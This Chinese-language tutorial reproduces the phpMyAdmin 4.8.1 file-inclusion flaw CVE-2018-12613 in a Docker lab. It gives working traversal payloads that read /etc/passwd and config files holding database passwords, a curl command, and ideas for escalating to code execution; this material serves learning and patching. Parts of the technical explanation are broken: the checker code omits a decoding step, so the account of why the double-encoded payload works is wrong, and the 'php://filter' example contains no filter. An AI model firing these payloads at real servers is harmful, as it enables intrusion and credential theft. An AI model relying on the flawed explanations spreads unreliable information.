CVE-2018-12613漏洞复现:phpMyAdmin 4.8.1文件包含与白名单绕过实战
1. 项目概述与核心价值
最近在整理一些老漏洞的复现笔记,发现phpMyAdmin 4.8.1这个版本的文件包含漏洞(CVE-2018-12613)虽然过去几年了,但作为Web安全学习中的一个经典案例,其原理和利用思路依然非常有嚼头。很多新手朋友在学习代码审计或漏洞复现时,往往卡在环境搭建和利用链的构造上,感觉看懂了原理却无从下手。这篇指南,我就从一个一线安全从业者的角度,带你完整地走一遍这个漏洞的复现流程。我们不仅要把漏洞“跑通”,更要深挖一下它为什么会出现,以及在实际的渗透测试或代码审计中,遇到类似的白名单绕过、路径拼接问题,应该如何去思考和定位。
简单来说,这个漏洞允许经过身份验证的攻击者,通过精心构造的请求参数,在服务器上包含并执行任意本地文件。它不是一个简单的直接文件包含,而是涉及到了phpMyAdmin对index.php中target参数的处理逻辑缺陷,核心在于对“白名单”校验的绕过。对于想入门代码审计的朋友,这是一个绝佳的练手材料;对于已经有一定基础的朋友,重温这个漏洞,也能帮助我们反思在代码设计时,对用户输入过滤和路径处理的常见误区。
2. 漏洞原理深度剖析
2.1 漏洞触发点与代码逻辑
漏洞的核心位于phpMyAdmin 4.8.1版本(以及之前的部分版本)的index.php文件中。当我们访问phpMyAdmin时,通常会有一个target参数用来指定要加载的页面或模块。开发者的初衷是好的:他们设置了一个白名单,只允许加载libraries目录下的一些特定文件(比如import.php,export.php等),以防止目录穿越攻击。
问题出在代码的实现上。我们来看一下关键的代码片段(经过简化和注释以便理解):
// index.php 中的部分代码 if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }表面上看,这里有多重检查:必须是字符串、不能以index开头、不能在黑名单里,最后还调用了Core::checkPageValidity函数进行白名单校验。问题就藏在这个Core::checkPageValidity函数里。
2.2 关键函数:Core::checkPageValidity的缺陷
让我们深入这个校验函数(位于libraries/classes/Core.php):
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; // 从预定义的白名单数组加载 } if (! isset($page) || !is_string($page)) { return false; } // 关键点1:使用strpos查找问号`?` if (strpos($page, '?') !== false) { $page = substr($page, 0, strpos($page, '?')); } // 关键点2:白名单校验 return in_array($page, $whitelist); }这个函数的逻辑是:
- 如果
$page(即target参数)包含问号?,则只截取问号之前的部分进行白名单校验。 - 校验时,只判断截取后的部分是否在白名单数组中。
漏洞的根源就在这里:校验和包含是分离的。函数只校验了问号前的内容,但最终include语句包含的是原始的、未经截取的$_REQUEST['target']。
2.3 构造攻击Payload
理解了上述逻辑,攻击思路就清晰了:我们提供一个target参数,其值在问号?之前的部分是白名单内的合法文件,问号之后的部分则是我们想包含的恶意路径。
例如,白名单中包含db_sql.php。我们可以构造如下Payload:
target=db_sql.php?/../../../../etc/passwdCore::checkPageValidity函数接收到target=db_sql.php?/../../../../etc/passwd。- 它发现字符串中有问号,于是截取问号之前的部分,得到
db_sql.php。 - 检查
db_sql.php是否在白名单中——是的,通过校验! - 函数返回
true。 - 回到
index.php,代码执行include $_REQUEST['target'];,此时包含的完整路径是db_sql.php?/../../../../etc/passwd。
在PHP中,include或require包含文件时,如果路径中包含问号?,PHP会将其解释为路径的一部分,而不是查询字符串。更具体地说,在默认的配置下,PHP会尝试访问一个字面意思为db_sql.php?/../../../../etc/passwd的文件,这显然不存在。但是,在Unix-like系统上,?是允许出现在文件名中的。当PHP找不到这个带问号的文件时,在某些环境下,它会将问号后的内容也作为路径的一部分进行解析,从而可能实现目录穿越。另一种更可靠的利用方式是结合PHP的封装协议,但这需要进一步的条件。
注意:这里有一个非常重要的细节。直接使用
?进行路径穿越的成功率依赖于PHP和Web服务器的具体配置(如cgi.fix_pathinfo的设置)。在实际利用中,更常见和可靠的方法是使用?的URL编码形式%3f,或者利用#(锚点)及其编码%23。因为#在URL中表示片段标识符,通常不会发送到服务器端,但在构造本地文件路径时,它可能被PHP解释器以不同的方式处理。例如target=db_sql.php%253f/../../../../etc/passwd(这里涉及双重编码)或target=db_sql.php%23/../../../../etc/passwd,在某些场景下能更稳定地绕过校验并让PHP正确解析到后面的路径。这也是为什么你在不同复现文章里看到的Payload可能略有差异的原因,它们都在尝试适应不同的环境。
3. 靶场环境搭建实操
纸上得来终觉浅,绝知此事要躬行。下面我们一步步搭建一个可复现的漏洞环境。
3.1 环境与工具准备
我推荐使用Docker来搭建环境,这是最干净、最便捷的方式,可以避免污染本地系统,也方便随时重置。
- 操作系统:不限,能运行Docker即可(Linux, macOS, Windows WSL2)。
- Docker & Docker Compose:请确保已安装。这是我们的核心工具。
- 代码编辑器:如VSCode、Sublime Text,用于查看和修改代码。
- 浏览器:任何现代浏览器,用于访问phpMyAdmin。
- HTTP代理工具:Burp Suite Community版或OWASP ZAP。用于拦截和修改HTTP请求,这对于手动构造和发送攻击Payload至关重要。如果你习惯命令行,
curl也可以。
3.2 使用Docker-Compose一键部署
创建一个名为docker-compose.yml的文件,内容如下:
version: '3.8' services: vulnerable-pma: image: phpmyadmin/phpmyadmin:4.8.1 container_name: pma-cve-2018-12613 ports: - "8080:80" environment: - PMA_HOST=db - PMA_PORT=3306 - UPLOAD_LIMIT=100M depends_on: - db networks: - pma-network db: image: mysql:5.7 container_name: mysql-for-pma restart: always environment: MYSQL_ROOT_PASSWORD: rootpassword123 MYSQL_DATABASE: testdb MYSQL_USER: testuser MYSQL_PASSWORD: testpass123 volumes: - mysql-data:/var/lib/mysql networks: - pma-network networks: pma-network: driver: bridge volumes: mysql-data:配置解读:
vulnerable-pma服务:使用官方phpmyadmin:4.8.1镜像,将容器80端口映射到宿主机的8080端口。通过环境变量指定要连接的数据库主机为db(即下面定义的MySQL服务)。db服务:使用mysql:5.7镜像,设置root密码,并预先创建一个测试数据库和用户。数据被持久化到名为mysql-data的卷中,防止容器删除后数据丢失。- 两个服务通过自定义的
pma-network连接,确保phpMyAdmin容器能通过服务名db访问MySQL。
在包含docker-compose.yml文件的目录下,打开终端,执行:
docker-compose up -d等待镜像拉取和容器启动。完成后,在浏览器中访问http://localhost:8080,你应该能看到phpMyAdmin 4.8.1的登录界面。
3.3 登录与基础配置
使用我们在docker-compose.yml中配置的数据库用户信息登录:
- 用户名:
testuser - 密码:
testpass123 - 服务器:保持默认(或者选择
db)
登录成功后,你会进入熟悉的phpMyAdmin管理界面。至此,一个包含漏洞的phpMyAdmin 4.8.1环境就准备就绪了。
实操心得:为什么选择Docker?首先,版本精准控制,确保我们复现的就是4.8.1。其次,环境隔离,复现完成后一句
docker-compose down -v就能彻底清理,不留任何垃圾文件。最后,这个docker-compose.yml文件你可以保存下来,以后任何时候想重温这个漏洞,一分钟就能把环境拉起来,非常高效。
4. 漏洞利用过程全解析
环境有了,现在我们开始“攻击”自己搭建的靶场。
4.1 信息收集与入口点确认
首先,我们需要确认漏洞存在的入口点。根据原理分析,漏洞存在于index.php对target参数的处理中。因此,任何能访问到index.php的经过认证的会话,都可能成为利用点。
通常,我们登录后的主界面就是由index.php渲染的。查看浏览器地址栏,URL可能类似于http://localhost:8080/index.php。这就是我们的起点。
4.2 手动构造与发送攻击请求
我们不会在浏览器地址栏直接输入Payload,那样不方便且容易出错。我们将使用Burp Suite来拦截和修改请求。
- 配置浏览器代理:将浏览器的HTTP代理设置为Burp Suite(默认
127.0.0.1:8080),并安装Burp的CA证书(首次使用需要)。 - 拦截请求:在phpMyAdmin界面,进行任何一次操作(比如点击一个导航标签),让Burp Suite拦截到发送给
index.php的请求。 - 修改请求:在Burp的Proxy -> Intercept标签页,找到被拦截的GET或POST请求。你会看到请求行或请求体中可能有
target参数,或者根本没有。如果没有,我们需要手动添加。 通常,我们可以修改一个已有的请求。例如,拦截一个类似GET /index.php?route=/server/privileges&... HTTP/1.1的请求。 我们将整个查询字符串替换为我们的Payload。注意,为了确保Payload被正确发送,我们需要对特殊字符进行URL编码。
构造Payload的关键: 回顾原理,我们需要一个白名单内的文件作为“前缀”。通过查看phpMyAdmin 4.8.1的源码或网络资料,常见的白名单文件包括:import.php,export.php,db_operations.php,db_sql.php,server_privileges.php等。
我们选择db_sql.php。一个经典的测试Payload是尝试包含/etc/passwd文件(Linux系统)。构造如下:
target=db_sql.php%253f/../../../../etc/passwd这里使用了%253f,它是问号?的双重URL编码:?->%3f->%253f。这种编码有时能更好地绕过某些过滤或校验逻辑。
- 发送请求:在Burp的拦截界面,将请求行修改为:
然后点击“Forward”发送这个修改后的请求。GET /index.php?target=db_sql.php%253f/../../../../etc/passwd HTTP/1.1
4.3 结果验证与解读
发送请求后,观察Burp Suite的“Response”标签页,或者切换到浏览器查看。
成功利用的迹象: 如果漏洞存在且利用成功,你可能会在HTTP响应中看到/etc/passwd文件的内容。响应体可能以phpMyAdmin的HTML框架开始,但在页面某处(可能是顶部、底部或中间),会直接输出/etc/passwd的文本内容,例如:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...同时,页面的样式很可能已经错乱,因为我们在一个PHP文件中包含了非PHP的文本文件,破坏了原有的HTML结构。
失败的可能原因与排查:
- 返回了正常的phpMyAdmin页面:说明
target参数未被处理,或者Payload没有触发包含。检查:- 是否在登录状态?Cookie是否有效?
- Payload编码是否正确?可以尝试
%3f(单次编码)或%23(#的编码)。 - 尝试另一个白名单文件,如
import.php。
- 页面报错(如500 Internal Server Error):这是一个好迹象!说明
include语句执行了,但找不到db_sql.php?/../../....这个文件。这恰恰证明了校验已通过,但包含路径错误。可以尝试减少../的层级,因为Docker容器内的文件系统路径可能不同。例如尝试target=db_sql.php%253f/../../../etc/passwd。 - 返回了
db_sql.php的源码:这说明服务器将%253f解码后,PHP并没有将问号后的内容视为路径,而是当成了查询字符串。db_sql.php本身被包含并执行了。此时可以尝试使用#(锚点),其URL编码为%23。Payload:target=db_sql.php%23/../../../../etc/passwd。在某些配置下,#后的内容在URL中不会被发送到服务器,但在构造本地文件路径时可能被PHP以特定方式解析。
注意事项:在Docker的Linux容器中,
/etc/passwd文件是存在的。但如果你的Payload一直不成功,可以尝试包含一个绝对存在的、有读取权限的web文件来验证漏洞是否触发。例如,包含phpMyAdmin自身的配置文件config.inc.php(通常位于根目录)。Payload:target=db_sql.php%253f/../../../../usr/src/phpmyadmin/config.inc.php(路径需根据实际容器调整)。如果成功,响应中可能会泄露数据库密码等敏感信息,这同样证明了漏洞的危害性。
5. 漏洞利用的进阶场景与防御思考
5.1 从文件包含到代码执行
读取敏感文件(如/etc/passwd、配置文件、日志)已经危害很大,但文件包含漏洞的终极危害通常是远程代码执行(RCE)。对于本地文件包含(LFI),要达成RCE,通常需要结合其他条件:
- 包含可写的日志文件:如果攻击者能控制User-Agent、Referer或访问路径,并在其中插入PHP代码,然后通过LFI漏洞包含Web服务器(如Nginx/Apache)的访问日志或错误日志,就可能执行代码。但在Docker这种最小化环境中,日志可能不可写或路径不固定。
- 包含Session文件:PHP的Session文件(
/tmp/sess_*)有时会存储序列化的数据。如果攻击者能预测或控制Session文件的内容(例如,向某个接收用户输入并存入$_SESSION的页面提交PHP代码),再通过LFI包含该Session文件,也可能执行代码。 - 包含临时文件(上传):这是phpMyAdmin这个漏洞更相关的场景。phpMyAdmin有文件上传功能(如导入SQL)。攻击者可以尝试上传一个包含恶意代码的文本文件,然后利用这个文件包含漏洞去包含服务器上的临时上传文件。但这需要知道临时文件的精确路径和文件名,难度较高。
- 利用PHP封装协议:这是更强大的技巧。即使不能包含远程URL(
allow_url_include通常为Off),也可以利用php://filter协议来读取PHP文件的源码(经过Base64编码),辅助进行代码审计。例如:
可以尝试替换为:target=db_sql.php%253f/../../../../etc/passwd
但这仍然是文件读取。要执行代码,需要能写入文件。如果服务器同时存在文件上传或写入漏洞,LFI就能成为最后一步的“点火器”。target=db_sql.php%253f/../../../../usr/src/phpmyadmin/index.php
5.2 漏洞修复方案分析
phpMyAdmin官方在后续版本中修复了此漏洞。修复的核心思路是:统一校验和包含的路径,确保用于校验的字符串和最终被包含的字符串是完全一致的,或者对包含路径进行更严格的净化。
一种典型的修复方法是,在Core::checkPageValidity函数中,不仅返回布尔值,还通过引用参数返回净化后的、安全的$page值,然后index.php包含这个净化后的值。或者,在包含之前,对$_REQUEST['target']再次进行白名单校验,且这次校验必须考虑整个路径,或者将路径分解,确保其基名(basename)在白名单内,并且路径不能包含目录遍历符。
对于开发者而言,这个漏洞的教训是:
- 输入校验必须彻底:校验逻辑必须覆盖所有可能的输入向量和编码形式。
- 校验与使用必须一致:用于安全决策的数据必须与最终使用的数据严格一致,任何中间处理(如截断、解码)都可能引入偏差。
- 采用“默认拒绝”策略:白名单比黑名单更可靠。但白名单的实现必须严谨,像本例中简单的
in_array检查,在路径拼接场景下就失效了。 - 避免动态包含:尽可能避免使用用户输入直接作为文件路径进行包含。如果必须这样做,应使用绝对路径映射,或强制添加固定的安全前缀后缀。
5.3 在企业安全评估中的启发
在真实的渗透测试或红队评估中,遇到phpMyAdmin、Adminer这类数据库管理工具,它们往往是突破口。这个CVE-2018-12613给我们提供了一个检查清单:
- 版本识别:首先确定phpMyAdmin的版本。可以通过页面底部的版权信息、
README文件、js或css文件的版本注释等方式。 - 路径探测:尝试访问
index.php?target=...,观察响应。即使没有直接回显,通过响应时间、错误信息差异,有时也能判断文件是否被尝试包含。 - 利用链思维:不要孤立地看一个LFI。它可能和:
- 文件上传结合,达成RCE。
- SSRF结合,读取内网文件。
- 日志注入结合,达成RCE。 结合起来思考,才能最大化漏洞的威力。
- 自动化工具验证:可以使用如sqlmap(它包含对phpMyAdmin此漏洞的检测模块)、Metasploit框架中的对应模块进行快速验证。但手动理解和复现是掌握原理不可替代的一步。
6. 复现过程中的常见问题与排查
在复现过程中,你可能会遇到各种“坑”。这里我总结了一份问题排查表,涵盖了从环境到利用的各个环节:
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
访问http://localhost:8080失败 | Docker容器未启动或端口冲突 | 1. 运行docker-compose ps检查容器状态。2. 运行 docker-compose logs查看日志。3. 检查宿主机8080端口是否被占用: netstat -tuln | grep 8080,可修改docker-compose.yml中的端口映射。 |
| 无法登录phpMyAdmin | 数据库连接失败或凭证错误 | 1. 检查docker-compose.yml中的数据库密码配置。2. 运行 docker-compose exec db mysql -u root -p,用rootpassword123登录,确认数据库服务正常。3. 在phpMyAdmin登录页,服务器一栏尝试填写 db(容器服务名)或mysql-for-pma(容器名)。 |
| Burp Suite拦截不到流量 | 浏览器代理未正确设置或Burp监听未开启 | 1. 确认浏览器代理设置为127.0.0.1:8080(Burp默认)。2. 确认Burp Suite的Proxy -> Intercept处于“Intercept is on”状态。 3. 检查Burp是否监听在正确的端口(Options -> Proxy Listeners)。 |
| 发送Payload后返回登录页面 | 会话(Cookie)失效 | 1. 确保在Burp中修改和转发请求时,原始的Cookie请求头没有被删除。 2. 重新登录phpMyAdmin,获取新的会话Cookie,再尝试拦截和修改请求。 |
| 响应为200 OK但页面正常,无文件内容 | Payload未触发漏洞 | 1.检查白名单文件:尝试import.php,export.php等。2.尝试不同编码:将 %253f换成%3f或%23。3.减少目录穿越层级:容器内路径可能较浅,尝试 ../或../../。4.尝试包含一个确定存在的Web文件,如 target=db_sql.php%253f./index.php(包含当前目录下的index.php)。 |
| 响应为500 Internal Server Error | 包含路径错误,文件不存在 | 1. 这是一个积极信号,说明include被执行了。2. 调整路径,尝试包含一个绝对存在的文件,如phpMyAdmin自身的 libraries/common.inc.php。3. 查看Docker容器日志: docker-compose logs vulnerable-pma,获取具体的PHP错误信息。 |
响应中包含db_sql.php的源码 | Payload被当作查询字符串处理 | 1. 切换到使用#(%23)进行尝试:target=db_sql.php%23/../../../etc/passwd。2. 研究是否需要对 ../进行URL编码(%2e%2e%2f),但本例中通常不需要。 |
独家避坑技巧:
- 使用
curl进行快速测试:当你对Payload不确定时,可以先用curl在命令行快速测试,避免Burp的繁琐配置。例如:
观察响应体,快速迭代Payload。# 先登录获取Cookie,这里假设登录后Cookie是`phpMyAdmin=abc123` curl -v 'http://localhost:8080/index.php?target=db_sql.php%253f/../../../etc/passwd' \ -H 'Cookie: phpMyAdmin=abc123' - 查看容器内部文件结构:如果你不确定目标文件的路径,可以进入容器查看:
docker-compose exec vulnerable-pma /bin/bash # 进入容器后 find / -name "*.php" 2>/dev/null | head -20 # 查找PHP文件 ls -la /usr/src/phpmyadmin/ # phpMyAdmin通常安装在此目录 pwd # 查看当前工作目录 - 开启PHP错误显示:为了更好的调试,可以临时修改phpMyAdmin的Docker环境配置,或在本地搭建环境时,在
php.ini中设置display_errors = On。这样当包含出错时,会看到更详细的错误信息,有助于判断问题所在。但在生产环境或公开靶场切勿开启。
